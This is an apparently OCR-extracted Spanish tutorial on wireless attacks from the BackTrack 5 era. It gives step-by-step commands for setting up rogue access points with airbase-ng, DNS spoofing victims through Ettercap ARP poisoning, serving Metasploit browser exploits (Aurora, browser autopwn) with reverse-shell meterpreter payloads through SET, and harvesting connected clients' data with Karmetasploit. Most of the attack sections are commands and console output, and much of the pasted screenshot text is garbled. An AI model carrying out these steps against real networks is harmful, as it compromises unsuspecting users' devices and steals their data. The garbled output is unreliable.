Como nota importante el password tiene que estar en hexadecimal.

Airdecap-ng + WPA/WPA2

sintaxis — airdcap-ng -e <essid> -p <password> <captura cifrada .cap>

airdecap-ng -e wireless -p 1234567891234 captura-01.cap

capturas para ana % a ecap-ng -e wireless -p 1234367891234 captura-0l.cap
j pj-LeT~ read

Total number of
Number of plaintext data p
Number of decrypted WEF p

[ e I e I e |

En WPA/WPA2 el passphrase no tiene que escribirse en hexadecimal y hay que tener
en cuenta que la captura que intentamos descifrar contiene el handshake del punto de
acceso.

32


http://www.wireshark.org/
http://www.aircrack-ng.org/doku.php?id=airdecap-ng

Ataques sociales -- Creacion de puntos de
acceso

En los ataques anteriores eramos nosotros los que “atacabamos” los puntos de acceso,
pero en este apartado nos centraremos en crear puntos de acceso falsos para que las
“‘victimas” se conecten a ellos, demostrando que no es muy buena idea conectarse a un
punto de acceso abierto.

Recalcar que para los “ataques sociales” necesitaremos dos interfaces de red.

Airbase-ng + brctl

En este punto crearemos un punto de acceso con airbase-ng y le daremos conexién a
los clientes que se conecten a él mediante una interfaz puente con brctl.
>>>>> Documentacion airbase-ng:
http://www.aircrack-ng.org/doku.php?id=airbase-ng
>>>>> Documentacion brctl:
http:/linuxcommand.org/man_pages/brcti8.html

Partimos de que tenemos conectado el pc mediante cable de red (en el ejemplo interfaz
eth0) a un router con acceso a Internet.

1. Primero crearemos un punto de acceso con airbase-ng.
sintaxis — airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de
acceso objetivo> <interfaz en modo monitor>

airbase-ng -P -C 30 -c 6 -e APfalso mon0

-nag -P -C 38 -c & -e APTalso mon@

n mon@ to 1800

.'.'. CCES : r nint with "'-._ _[_I

2. En otra terminal utilizaremos brctl para crear un puente entre la interfaz que nos
suministra Internet (eth0) y la interfaz que crea airbase-ng (at0). Este puente lo
llamaremos “puente”:
sintaxis — brctl addbr <nombre del puente>
sintaxis — brctl addif <nombre del puente> <interfaz a agregar al puente>
sintaxis — brctl addif <nombre del puente> <interfaz a agregar al puente>

brctl addbr puente
brctl addif puente eth0
brctl addif puente at0
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3. Borramos la configuracién de las interfaces de red utilizadas y habilitamos el ip
forwarding:
sintaxis — ifconfig <interfaz de red> 0.0.0.0 up
sintaxis — ifconfig <interfaz de red airbase-ng> 0.0.0.0 up
sintaxis — echo 1 > /proc/sys/net/ipv4/ip_forward

ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
echo 1 > /proc/sys/net/ipv4/ip_forward

fig ethe 0.0.0.0 up

4. Habilitamos la interfaz puente y lanzamos el cliente dhcp sobre ella.
sintaxis — ifconfig <interfaz puente> up
sintaxis — dhclient3 <interfaz puente>

Por ultimo solo nos queda esperar que los clientes se conecten a nuestro punto de

acceso, cosa que veremos reflejada en la terminal con el airbase-ng:

t alrbase -P -C 3E 6 -e APfalso n@
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Airbase-ng + iptables

Misma idea que el punto anterior, salvo que ahora los clientes se conectaran a una
subnet creada por nosotros.

1. Primero crearemos un punto de acceso con airbase-ng.
sintaxis — airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de
acceso objetivo> <interfaz en modo monitor>

airbase-ng -P -C 30 -c 6 -e APfalso mon0
ase-ng - -2 APfalso mon@

2. Ahora configuraremos iptables para que redirija todo el trafico de la interfaz atO
creada por airbase-ng a la interfaz que tiene acceso a Internet (eth1), después
habilitamos ip forwarding:
sintaxis — iptables -t nat -A POSTROUTING -o <interfaz acceso Internet> -j
MASQUERADE
sintaxis — iptables -A INPUT -s 10.0.0.0/24 -i <interfaz airbase-ng> -j ACCEPT
sintaxis — echo "1" >/proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
iptables -A INPUT -s 10.0.0.0/24 -i at0 - ACCEPT
echo "1" >/proc/sys/net/ipv4/ip_forward

:~# 1ptables -t nat -A POSTROUTING -o ethl -j MASQUERADE
:~# iptables -A INPUT -s 10.0.0.8/24 -1 at® -j ACCEPT

:~# echo "1" >/proc/sys/net/ipv4/ip forward

3. Ahora configuraremos el servidor dhcp y lo guardaremos donde queramos, en mi
caso en /etc/dhcp3/dhcpd.conf:
option domain-name-servers 192.168.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 192.168.0.1;
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Donde:

* option domain-name-servers 192.168.0.1 — es el servidor DNS, en nuestro caso
el router, aunque si tuviéramos nuestro propio servidor DNS configurado nos seria
util para un DNS spoofing por poner un ejemplo.

* subnet 10.0.0.0 netmask 255.255.255.0 {— direccion de red y mascara de la
subred.

* range 10.0.0.100 10.0.0.254; — rango de direcciones que tendran disponible los
clientes que se conecten.

» option routers 10.0.0.1; — el router de la subred que sera la interfaz de airbase-
ng.

* option domain-name-servers 192.168.0.1; — DNS de la subred.

vers 192.168.8.1;

4. El siguiente paso es habilitar la interfaz at0, asignarle una ip para que trabaje
correctamente con nuestro servidor dhcp y lanzarlo:
sintaxis — ifconfig <interfaz airbase-ng> up 10.0.0.1 netmask 255.255.255.0
sintaxis — dhcpd3 -cf <lugar donde esta la configuracion del servidor dhcp>
<interfaz airbase-ng>

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

:~# ifconfig at® up 10.6.8

:~# dhcpd3

| rights r
For info, pl
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Por ultimo solo nos queda esperar a que alguien se conecte al punto de acceso, cosa
que airbase-ng reflejara de la siguiente forma:

APfalso mon@

d) to ESSID: "APfalso"
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Ataques sociales — Ataques en LAN

Una vez tenemos clientes asociados a nuestro punto de acceso, estos se encuentran en
nuestra red, con lo que son vulnerables a multitud de ataques, yo mostraré un ejemplo de
un DNS-spoofing con Ettercap + Metasploit y otro con S.E.T..

DNS-spoofing con Ettercap y Metasploit

>>>>> Informacién DNS (Wikipedia):
http://es.wikipedia.org/wiki/Domain_Name_System

>>>>> Informacion DNS-spoofing (Wikipedia):
http://es.wikipedia.org/wiki/Spoofing

1. El primer paso sera configurar el fichero para las redirecciones del DNS en
lusr/local/share/ettercap/etter.dns:

nano /usr/local/share/ettercapl/etter.dns

GNU nano 2.2.2 File: /fusr/local/share/ettercap/etter.dns

Donde:
« www.microsoft.com —> es la direccidén que cuando la victima visite sera redirigida.

* A —>significa que es una direccién IPv4.

« 192.168.0.198 —> es la direccion a la que sera redirigida la victima cuando se
conecte a www.microsoft.com

2. El siguiente paso es lanzar Metasploit:

msfconsole
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:~# msfconsole

(2011.10.18)

3. Ahora configuramos los parametros para lanzar el exploit aurora que afecta a los
navegadores:
use exploit/windows/browser/ms10_002_aurora
set SRVHOST 192.168.0.198
set SRVPORT 80
set URIPATH /

his must be an on the local machine or &

) > set SRVHOST 192

) = set SRVPORT 80

) » set URIPATH /

Si queremos informacion sobre el exploit y los parametros que requiere tenemos el
comando show options.

4. El siguiente paso es lanzar Ettercap junto con el plugin para DNS-spoofing:
sintaxis — ettercap -T -q -M ARP -P dns_spoof -i <interfaz conectada a la red> /<ip
objetivo>///
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ettercap -T -q -M ARP -P dns_spoof -i eth1 /192.168.0.200/ //

:~# ettercap -T -q -M ARP -P dn pof -i ethl f192.168.0

4 ALoR & NaGA

192.168.0.198

command on' sc

5 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 :

192.168.¢

ts in the list)

ript in the etter.

conf file

5. Por ultimo lanzaremos el exploit desde la ventana de metasploit y esperaremos que
la victima visite la direccién “envenenada” para que sea redirigida y visite la web del

exploit.

exploiti
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S.E.T.

>>>>> Informacion S.E.T.:
http://www.social-engineer.org

NOTA: El siguiente ejemplo de ataque en LAN lo vi en un video de un curso de
Backtrack 5 en espanol (muy recomendable) y me parecio muy ‘potente” por lo que he
querido hacerle referencia en este texto.

1. Abrimos S.E.T.:
cd /pentest/exploits/set
Ise

2. A continuacién actualizamos Metasploity S.E.T.:
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ring Attacks
tration Testing

cial-Engineer Toolkit, be patient...

as finished, returning to main menu..

Lo siguiente serd ir interactuando por los menus, para mas informacion sobre los
diferentes ataques mirad los videos ;)

1 - Social-Engineering Attacks

> 1

2 — Website Attack Vectors

W B et

L R =Y

]

Return back to the main menu.
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7 — Multi-Attack Web Method

epla

lin
its too

oh oW s

00 =4

igning Certificate

turn to Main Menu

2 - Site Cloner
url del sitio que queremos clonar

¢ SET to import a list of pre-defined web
utilize within the attack

oth HTTP and HTTPS

>.wikipedia.org
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1 — Java Applet Attack Method
2 — Metasploit Browser Exploit Method
3 — Credential Harvester Attack Method
6 — Web Jacking Attack Method
8 — I'm finished and want to proceed with the attack

11
PORT of the listener [443]: //dejamos este campo vacié y pulsamos enter
Create a Linux/OSX reverse_tcp meterpreter Java Applet payload also? [yes|no]: yes

25
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> Create a Linux/0SX reverse tcp meterpreter Java Applet payload also? [yes|no]:yes
Enter the browser exploit you would like to use

1) MS511-858 IE mshiml!CObjectElement Use After Free

2) Adobe Flash Player 18.2.153.1 SWF Memory Corruption Vulnerability

3) Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute
4) Internet Explorer C55 Import Use After Free (default)

5) Microsoft WMI Administration Tools ActiveX Buffer Overflow

6) Internet Explorer CSS Tags Memory Corruption

7) Sun Java Applet2ClassLoader Remote Code Execution

8) Sun Java Runtime New Plugin docbase Buffer Overflow

9) Microsoft Windows WebDAV Application DLL Hijacker

18) Adobe Flash Player AVM Bytecode Verification Vulnerability

11) Adobe Shockwave rcsL Memory Corruption Exploit

12) Adobe CoolType SING Table "unigueName" Stack Buffer Overflow

13) Apple QuickTime 7.6.7 Marshaled pUnk Code Execution

14) Microsoft Help Center XSS#@nd Command Execution (MS10-042)

15) Microsoft Internet Explorer iepeers.dll Use After Free (MS10-818)

16) Microsoft Internet Explorer "Aurora® Memory Corruption (MS516-082)

7) Microsoft Internet Explorer Tabular Data Control Exploit (MS10-818)

18) Microsoft Internet Explorer 7 Uninitialized Memory Corruption (MSB9-082)
19) Microsoft Internet Explorer Style getElementsbyTagName Corruption (MSE9-872)
20) Microsoft Internet Explorer isComponentInstalled Overflow
21) Microsoft Internet Explorer Explorer Data Binding Corruption (MSB8-878)
22) Microsoft Internet Explorer Unsafe Scripting Misconfiguration
23) FireFox 3.5 escape Return Value Memory Corruption
24) FireFox 3.6.16 mChannel use after free vulnerability
25) Metasploit Browser Autopwn (USE AT OWN RISK!)

=25

Ahora empezaran a cargarse los exploits:

Local IP: http://192.168.1.41:8880/GHLqV]UEDEZM
Server started.
Starting exploit multi/browser/opera configoverwrite with payload generic/shell reverse tcp
Using URL: http://8.0.0.0:8080/k0sPv
Local IP: http://192.168.1.41:86080/k0sPv
Server started.
Starting exploit multi/browser/opera historysearch with payload generic/shell reverse tcp
Using URL: http://0.0.0.0:8088/TuiTHUWWKMYBE
Local IP: http://192.168.1.41:8080/TuiTHUWWKMYBE
Server started.
Starting exploit osx/browser/safarli metadata archive with payload generic/shell reverse tcp
Using URL: http://0.0.0.0:8088/w0xzhyeljzH
Local IP: http://192.168.1.41:80880/wlxzhyeljzH
Server started.

Started reverse handler on 192.168.1.41:6666
Starting the payload handler...
Started reverse handler on 192.168.1.41:7777
Starting the payload handler...

- Done, found 23 exploit modules
Using URL: http://0.0.0.0:8080/

Local IP: http://192.168.1.41:8088/
Server started.

Y ya tenemos listo S.E.T. esperando a que un cliente se conecte a la direccién
mostrada (en este caso 192.168.1.41), con lo que solo nos quedara realizar un DNS-
spoofing para que un objetivo se conecte a nuestra maquina.

Cuando se conecte alguien veremos como reacciona S.E.T.:
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Ataques sociales — Todo en uno

Karmetasploit

>>>>> Informaciéon Karmetasploit:
http://www.offensive-security.com/metasploit-unleashed/Karmetasploit

>>>>> |Informacién Postgresql:
http://www.postgresql.org/

1. Antes de empezar con karma instalaremos en postgresql y dhcp3-server pues los
necesitaremos a continuacion, ya que karma puede guardar los datos de los
clientes que se asocien al punto de acceso creado en una base de datos.

apt-get install postgresql libpg-dev dhcp3-server

CER

bogl-bterm ecryptfs-utils libdebconfclient® dmraid

2. Ahora descargaremos el script de karma con wget:

cd /pentest/exploits/framework
wget http://www.offensive-security.com/downloads/karma.rc

1ts/fr rk# wget htt offi rit na. rc

3. Ahora configuramos postgresql:
postgres -c psql
ALTER USER postgres WITH PASSWORD 'password’;
Donde password es la contrasefia escogida
\q
passwd -d postgres
sudo su postgres -c passwd
E instalamos pg con gem:
gem install pg
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such file or directory

4. Lo siguiente es configurar el servidor dhcp:
nano /etc/dhcp3/dhcpd.conf:
option domain-name-servers 192.168.1.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 192.168.1.1;

}

GNU nano 2.2.2 File: /etc/dhcp3/dhcpd.conf

vers 192.168.1.1;

0

5. Ahora cambiamos el parametro de conexion de karma con la base de datos, para
ello editamos el script karma.rc:

nano karma.rc
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Cambiamos solo la primera linea:
sintaxis — db_connect <usuario BD>:<password usuario
BD>@127.0.0.1/<nombre de la base donde se introduciran los datos>

db_connect postgres:password@127.0.0.1/karma

Donde:
* postgres — usuario de la base de datos, postgres es el usuario por defecto.
* password — contrasefia que hemos establecido antes.
* karma — nombre de la base de datos donde se guardara la informacion que
obtengamos. No es necesario que exista, metasploit la creara por nosotros
sino existe.

GNU nano 2.2.2 File: karma.rc

db connect postgres:p

use auxiliary/server/browser autopwn

set SRVPORT

set URIPATH /ads

run

6. Ahora ponemos nuestra interfaz en modo monitor con airmon-ng:
sintaxis — airmon-ng start <interfaz>

airmon-ng start wlan1

:/pentest/exploits/framework# airmon-ng start wlanl

Found 1 proce that could cause trouble
If airodump- ire -ng or ng iorking after
a short period of time, you may want to kill | e of) them!

PID Name
673 dhclient3

Interface Chipset Driver

wlanl Realtek RTL8187L rtlsl
(monitor mode enabled on mon@)
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7. Y a continuacién airbase-ng:
sintaxis — airbase-ng -P -C 30 -c <canal de AP objetivo> -e <ESSID del punto de

acceso objetivo> <interfaz en modo monitor>

airbase-ng -P -C 30 -c 6 -e APfalso mon0
:/pentest/exploits/framework# airbase-ng -P -C 30 -e APfalso -v mon@
7:24 Created tap interface at@
- 0 set MTU on a

8. Siguiente paso habilitar at0, configurar iptables, habilitar el ip forwarding y lanzar el
cliente dhcp sobre el archivo configurado antes:
sintaxis — ifconfig <interfaz airbase-ng> up 10.0.0.1 netmask 255.255.255.0
sintaxis — iptables -t nat -A POSTROUTING -o <interfaz acceso Internet> -j
MASQUERADE
sintaxis — iptables -A INPUT -s 10.0.0.0/24 -i <interfaz airbase-ng> -j ACCEPT
sintaxis — echo "1" >/proc/sys/net/ipv4/ip_forward
sintaxis — dhcpd3 -cf <lugar donde esta la configuracion del servidor dhcp>
<interfaz airbase-ng>

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
iptables -t nat -A POSTROUTING -o eth1 - MASQUERADE
iptables -A INPUT -s 10.0.0.0/24 -i at0 - ACCEPT
echo "1" >/proc/sys/net/ipv4/ip_forward
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

eate PID file /var/run/dhcpd.pid: Permission denied.

9. Ahora lanzamos metasploit junto con karma:

msfconsole -r karma.rc
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: fopt/framework/msf3# msfconsole -r karma.rc
all trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

metasploit v4.1.8-release [core:4.1 api:1.0]
749 exploits - 384 auxiliary - 98 post
228 payloads - 27 encoders - 8 nops

[#] Processing karma.rc for ERB directives.
resource (karma.rc)> db connect postgres:password@l27.0.8.1/karma
CREATE TABLE will create implicit sequence "hosts id seq" for serial column "hosts.id"
CREATE TABLE / PRIMARY KEY will create implicit index "hosts pkey" for table "hosts"
CREATE TABLE will create implicit sequence "clients id seq" for serial column "clients.id"
CREATE TABLE / PRIMARY KEY will create implicit index "clients pkey" for table "clients"
CREATE TABLE will create implicit sequence "services id seq" for serial column "services.id"
CREATE TABLE / PRIMARY KEY will create implicit index "services pkey" for table "services”
CREATE TABLE will create implicit sequence "vulns id seq" for serial column "vulns.id"
CREATE TABLE / PRIMARY KEY will create implicit index "vulns pkey" for table "wulns®
CREATE TABLE will create implicit sequence "refs id segq" for serial column "refs.id"
CREATE TABLE / PRIMARY KEY will create implicit index "refs pkey" for table "refs"
CREATE TABLE will create implicit sequence "notes id seq" for serial column "notes.id"
CREATE TABLE / PRIMARY KEY will create implicit index "notes pkey" for table "notes"
CREATE TABLE will create implicit sequence "wmap targets id seq" for serial column "wmap targets.id"
CREATE TABLE / PRIMARY KEY will create implicit index "wmap targets pkey" for table "wmap targets"
CREATE TABLE will create implicit sequence "wmap requests id seq" for serial column "wmap requests.id"
CREATE TABLE / PRIMARY KEY will create implicit index "wmap requests pkey" for table "wmap requests"”
CREATE TABLE will create implicit sequence "workspaces id seq" for serial column "workspaces.id"
CREATE TABLE / PRIMARY KEY will create implicit index "workspaces pkey" for table "workspaces"
CREATE TABLE will create implicit sequence "events id seg" for serial column “"events.id"
CREATE TABLE / PRIMARY KEY will create implicit index "events pkey" for table "events"®
CREATE TABLE will create implicit sequence "loots id seq" for serial column "loots.id"
CREATE TABLE / PRIMARY KEY will create implicit index "loots pkey" for table "loots"
CREATE TABLE will create implicit sequence "users id seq" for serial column "users.id"
CREATE TABLE / PRIMARY KEY will create implicit index "users pkey" for table "users"
CREATE TABLE will create implicit sequence “"reports id seq" for serial column "reports.id"
CREATE TABLE / PRIMARY KEY will create implicit index "reports pkey" for table "reports"
CREATE TABLE will create implicit sequence "tasks id seq" for serial column "tasks.id"
CREATE TABLE / PRIMARY KEY will create implicit index "tasks pkey" for table "tasks"
CREATE TABLE will create implicit sequence "creds id seq" for serial column "creds.id"

Using URL: http://6.0.6.8:555
Local IP: http://192.168.1.4
Server started.
Starting exploit windows/browser/msll 8568 mshtml cobjectelement with payload windows/meterpreter/reverse tcp
Using URL: http://0.0.0.0:55558/GxtxefDknRy0v
Local IP: http://192.168.1.41:55550/GxtxefDknRy0v
Server started.
Starting exploit windows/browser/winzip fileview with payload windows/meterpreter/reverse tcp
Using URL: http://0.0.0.8:55558/WKLtONOCIpIyU
Local IP: http://192.168.1.41:55550,/WKLtONOcIpIyU
Server started.
Starting exploit windows/browser/wmi admintools with payload windows/meterpreter/reverse tcp
Using URL: http://0.0.0.0:55558/XtATKk
Local IP: http://192.168.1.41:55550/XtATKk
Server started.
Starting handler for windows/meterpreter/reverse tcp on port 3333
Starting handler for generic/shell reverse tcp on port 6666
Started reverse handler on 10.8.6.1:3333
Starting the payload handler...
Starting handler for java/meterpreter/reverse tcp on port 7777
Started reverse handler on 10.8.0.1:6666
Started reverse handler on 10.8.0.1:7777
Starting the payload handler...
Starting the payload handler...
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/
!
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FITOsZdrLHNDS
5558/FIf0sZdrlHNDS

--- Done, found 23 exploit modules

Using URL: http://08.0.8.8:
Local IP: http://192.168
Server started.




Por ultimo nos quedara esperar a que los clientes se conecten a nuestro punto de
acceso Y los datos utiles se iran almacenando en la base de datos karma para su
posterior analisis:
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Documentacion

Suite Aircrack-ng: http://www.aircrack-ng.org/documentation.html
Airbase-ng: http://www.aircrack-ng.org/doku.php?id=airbase-ng
Aircrack-ng:_http://www.aircrack-ng.org/doku.php?id=aircrack-ng
Airdecap-ng: http://www.aircrack-ng.org/doku.php?id=airdecap-ng
Aireplay-ng: http://www.aircrack-ng.org/doku.php ?id=aireplay-ng
Airmon-ng: http://www.aircrack-ng.org/doku.php?id=airmon-ng
Airodump-ng: http://www.aircrack-ng.org/doku.php?id=airodump-ng
Packetforge-ng: http://www.aircrack-ng.org/doku.php?id=packetforge-ng
coWPALtty: http://www.willhackforsushi.com/Cowpatty.html

Pyrit: http://code.google.com/p/pyrit

Ettercap: http://ettercap.sourceforge.net

Metasploit: http://metasploit.com

S.E.T.: http://www.social-engineer.org

Backtrack 5 R1: http://www.backtrack-linux.org/downloads

Script actualizacion Backtrack: http.//code.google.com/p/bt5-fixit/

Listado de diccionarios: http.//www.dragonjar.org/diccionarios-para-realizar-
ataques-de-fuerza-bruta.xhtml|

MITM: http://www.flu-project.com/man-in-the-middle.html

Rainbow Tables: http://www.flu-project.com/rainbow-tables-tablas-arco-iris.html
Configuracion iptables: http.//www.redesymas.org/2011/07/configuracion-de-
iptables-firewall-en.html

Curso Backtrack 5: http://www.dragonjar.org/curso-backtrack-5-en-
espanol.xhtml

Karmetasploit: http.//www.offensive-security.com/metasploit-
unleashed/Karmetasploit

BackTrack 5 Wireless Penetration Testing Beginner's Guide:
http.//www.amazon.es/BackTrack-Wireless-Penetration-Testing-
Beginners/dp/1849515581

Metasploit: The Penetration Tester's Guide: A Penetration Tester's Guide:
http:.//www.amazon.es/Metasploit-Penetration-Testers-
Guide/dp/159327288X/ref=sr_1_14?s=foreign-
books&ie=UTF8&qid=1321668385&sr=1-14

Security Tube: http://www.securitytube.net
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